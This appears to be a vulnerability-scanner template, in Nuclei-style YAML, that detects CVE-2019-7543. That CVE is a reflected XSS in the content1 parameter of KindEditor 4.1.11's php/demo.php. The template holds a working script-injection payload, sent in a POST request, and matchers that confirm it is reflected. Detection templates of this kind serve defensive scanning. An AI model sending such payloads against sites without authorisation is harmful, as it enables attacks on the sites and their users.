id: CVE-2019-7543

info:
  name: KindEditor 4.1.11, the php/demo.php - (XSS)
  author: pikpikcu
  severity: medium
  description: KindEditor 4.1.11, the php/demo.php content1 parameter has a reflected Cross-site Scripting (XSS) vulnerability.
  reference:
    - https://github.com/0xUhaw/CVE-Bins/tree/master/KindEditor
    - https://nvd.nist.gov/vuln/detail/CVE-2019-7543
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2019-7543
    cwe-id: CWE-79
  tags: cve,cve2019,kindeditor,xss

requests:
  - method: POST
    path:
      - '{{BaseURL}}/kindeditor/php/demo.php'
      - '{{BaseURL}}/php/demo.php'
    body: "content1=</script><script>alert(document.domain)</script>&button=%E6%8F%90%E4%BA%A4%E5%86%85%E5%AE%B9"
    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:

      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        part: body

      - type: word
        part: header
        words:
          - text/html